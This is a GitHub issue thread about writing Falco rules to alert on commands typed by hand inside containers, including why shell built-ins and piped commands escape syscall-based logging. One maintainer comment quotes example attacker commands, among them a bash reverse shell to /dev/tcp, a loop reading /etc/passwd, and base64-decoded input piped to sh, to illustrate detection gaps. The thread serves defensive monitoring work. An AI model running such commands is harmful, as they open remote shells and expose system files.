Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Trigger alert whenever there is any manual command executed inside a container [approx solution via new filter fields proc.is_vpgid_leader or proc.vpgid.exepath or proc.vpgid.name] #2338

Closed
hjampala opened this issue Dec 29, 2022 · 14 comments
Milestone

Comments

@hjampala
Copy link

hjampala commented Dec 29, 2022

/kind support
Hi,

I have an requirement to generate alert whenever manual command gets executed inside a container.
Tried giving so many regex combinations in the rule condition to acheive this. But that didnt trigger any alert.

  • rule: shell_in_container
    desc: notice shell activity within a container
    condition: >
    container.id != host and
    proc.cmdline contains "\n"

    output: >
    shell in a container
    (user=%user.name container_id=%container.id container_name=%container.name
    shell=%proc.name parent=%proc.pname source_ip=%fd.rip cmdline=%proc.cmdline)
    priority: WARNING

Is there any custom condition we can use to trigger alert whenever there is any manual command executed inside a container

@hjampala
Copy link
Author

hjampala commented Dec 29, 2022

@poiana Not able to apply label to the issue created. Please help with applyIng support label.

@jasondellaluce
Copy link
Contributor

/kind bug

Falco rules' condition does not support regex matching ye (only globs and search based on contains, startswith, endswith). The example you provided is supposed to work, can you expand more on what's failing, and also provide info about what Falco version and system you're running this into?

@poiana poiana added kind/bug and removed needs-kind labels Jan 4, 2023
@hjampala
Copy link
Author

hjampala commented Jan 4, 2023

Expectation is to get an alert whenever we hit enter / new line char inside a container.
But there is no alert generated, no error is seen but not working as expected.

Installed falco drivers on the ubuntu vm. falco version is as follows:
vmauser@ubuntuvm52:~$ falco --version
Falco version: 0.33.1
Libs version: 0.9.2
Plugin API: 2.0.0
Driver:
API version: 2.0.0
Schema version: 2.0.0
Default driver: 3.0.1+driver

Tried capturing all the commands executed in bash/sh shell of a container by using proc.pname in the condition as shown below.
This is capturing almost all the commands. Observed the commands like cd, echo are not generating any alert. Is there any specific reason for the same ?
Also the requirement is to generate an alert even if some arbitrary commands are executed inside a container.
Ex: Requirement is to get an alert even for the below command executed in the container.
vmauser@ubuntuvm52:/falco$ dfasdfasdf
dfasdfasdf: command not found
vmauser@ubuntuvm52:
/falco$

- rule: shell_in_container
  desc: notice shell activity within a container
  condition: >
    container.id != host and
    evt.type = execve and
    (proc.pname = bash or
    proc.pname = sh) and
    proc.cmdline != bash

  output: >
    (user=%user.name  command=%proc.cmdline timestamp=%evt.datetime.s container_id=%container.id container_name=%container.name pod_name=%k8s.pod.name proc_name=%proc.name proc_pname=%proc.pname res=%evt.res)
  priority: informational

Alert generated for reference:
06:24:16.286686339: Informational (user=root command=ls -lrht timestamp=2023-01-04 06:24:16 container_id=d6900bc54e26 container_name=k8s_nginx_nginx_default_e7d77691-2413-4b4e-a14f-c214d5660c04_0 pod_name=nginx proc_name=ls proc_pname=bash res=SUCCESS)

@loresuso
Copy link
Member

loresuso commented Jan 5, 2023

Hi @hjampala, I don't have a specific answer to your question at the moment, but I can tell you that both cd and echo are shell built-in commands. This means that the shell, instead of forking and executing a new executable like usual, directly handles the command. Think about it: when you issue cd you need to change the current working directory of the shell process itself, so changing directory in a child would be ineffective. That's why is the shell process that needs to call the chdir syscall itself. Same goes with echo and a write to stdout (put it simply). So what I wanted to say is that you will never have information about echo and cd this way, because there is nothing that is actually execveed.

@incertum
Copy link
Contributor

incertum commented Jan 27, 2023

@hjampala what you describe is something I have been thinking a lot. The dilemma between syscalls logging and associated process cmd args versus keystroke type of command logging.

Basically a common misconception is "what you type into your terminal is what would be logged as cmdline" in tools like Falco that are based on syscalls events -> not exactly true, because as Lorenzo perfectly described the shell itself interprets the input and most often "destroys" your command or doesn't even cause a new execve in the case of shell built-ins.

More examples:

[1]

Typed into terminal: bash -i >& /dev/tcp/<ip>/1337 0>&1
Logged as cmd args in execve call: bash -i

[2]

Typed into terminal: while read -r line; do echo "$line"; done < /etc/passwd;
Nothing logged as cmdargs as also shell-built-in BUT Falco can log the open* syscalls so you would get a log that the file was opened if you monitor that file.

[3]
Typed into terminal: ALL_PROXY=socks5://127.0.0.1:9999 curl https://<domain>
ENV variables, even setting or unsetting -> nothing logged as well, instead getting only curl https://<domain>

[4]

Typed into terminal: echo 'BLABLBABLABLA' | base64 --decode | sh
Destroyed by bash interpreter into 3 distinct execve's like, for example

(1) sh
(2) base64 --decode
(3) python -c  exec('BLABLA'.decode('base64'))

UNLESS your command gets passed with bash -c then all args or original typed commands get logged similar to how a keystroke logger would do, see maybe also this issue #2259


Lastly few more tips, have you explored the fields %proc.loginshellid and %proc.tty? They are useful to infer interactivity and sessionizations as well as %proc.sid or %proc.vpgid can be useful as well to chunk logs logically together.

https://falco.org/docs/reference/rules/supported-fields/

@poiana
Copy link
Contributor

poiana commented Apr 27, 2023

Issues go stale after 90d of inactivity.

Mark the issue as fresh with /remove-lifecycle stale.

Stale issues rot after an additional 30d of inactivity and eventually close.

If this issue is safe to close now please do so with /close.

Provide feedback via https://github.com/falcosecurity/community.

/lifecycle stale

@poiana
Copy link
Contributor

poiana commented May 27, 2023

Stale issues rot after 30d of inactivity.

Mark the issue as fresh with /remove-lifecycle rotten.

Rotten issues close after an additional 30d of inactivity.

If this issue is safe to close now please do so with /close.

Provide feedback via https://github.com/falcosecurity/community.

/lifecycle rotten

@poiana
Copy link
Contributor

poiana commented Jun 26, 2023

Rotten issues close after 30d of inactivity.

Reopen the issue with /reopen.

Mark the issue as fresh with /remove-lifecycle rotten.

Provide feedback via https://github.com/falcosecurity/community.
/close

@poiana
Copy link
Contributor

poiana commented Jun 26, 2023

@poiana: Closing this issue.

In response to this:

Rotten issues close after 30d of inactivity.

Reopen the issue with /reopen.

Mark the issue as fresh with /remove-lifecycle rotten.

Provide feedback via https://github.com/falcosecurity/community.
/close

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@poiana poiana closed this as completed Jun 26, 2023
@incertum
Copy link
Contributor

/remove-lifecycle rotten

@incertum
Copy link
Contributor

/reopen

@poiana poiana reopened this Jun 28, 2023
@poiana
Copy link
Contributor

poiana commented Jun 28, 2023

@incertum: Reopened this issue.

In response to this:

/reopen

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@incertum
Copy link
Contributor

This PR is not directly addressing this issue falcosecurity/libs#1178, still it could be regarded as an attempt to make progress.

@incertum incertum changed the title Trigger alert whenever there is any manual command executed inside a container Trigger alert whenever there is any manual command executed inside a container [approx solution via new filter fields proc.is_vpgid_leader or proc.vpgid.exepath or proc.vpgid.name] Jul 11, 2023
@incertum
Copy link
Contributor

incertum commented Jul 11, 2023

Marking this as solved via an approximation for now. Please note Falco is still not a keystroke logger and bash built-ins not causing a newly spawned process are not being logged via a syscalls logging approach in general.

A possible filter expression you could add to your custom rule to only log spawned processes when in a tty from direct executions and not subprocesses from for example scripts could look like the following:

spawned_process and container and proc.tty != 0 and proc.is_vpgid_leader=true ... [YOUR CUSTOM EXPRESSIONS]

/milestone 0.36.0

@poiana poiana added this to the 0.36.0 milestone Jul 11, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

5 participants